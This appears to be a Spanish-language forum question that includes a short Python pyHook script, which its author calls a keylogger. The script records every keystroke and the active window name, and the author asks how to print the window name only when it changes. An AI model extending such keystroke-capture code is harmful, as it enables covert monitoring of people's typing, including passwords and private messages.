Código
import pythoncom, pyHook def strokes(event): print event.WindowName print event.Key hm = pyHook.HookManager() hm.KeyDown = strokes hm.HookKeyboard() pythoncom.PumpMessages()
Bien, este pequeño keylogger hace que cada vez que se pulse una tecla imprima en el programa el nombre de la ventana y la tecla. Esto queda bastante mal a la hora de leer lo que se ha escrito, ya que se escribiria el nombre de la ventana por cada tecla que se pulsase. Para solucionarlo, lo que quiero hacer es que imprima el nombre de la ventana, la tecla pulsada, y luego solamente imprima de nuevo el nombre de la ventana si esta cambia, no se si me explico.
Por ejemplo: escribes "facebook" en google, por lo que el nombre de la ventana seria "Google". A partir de ahi, quiero que solamente vuelva a escribir el nombre de la ventana si deja de ser "Google" para ser "Facebook" por ejemplo. Gracias de antemano.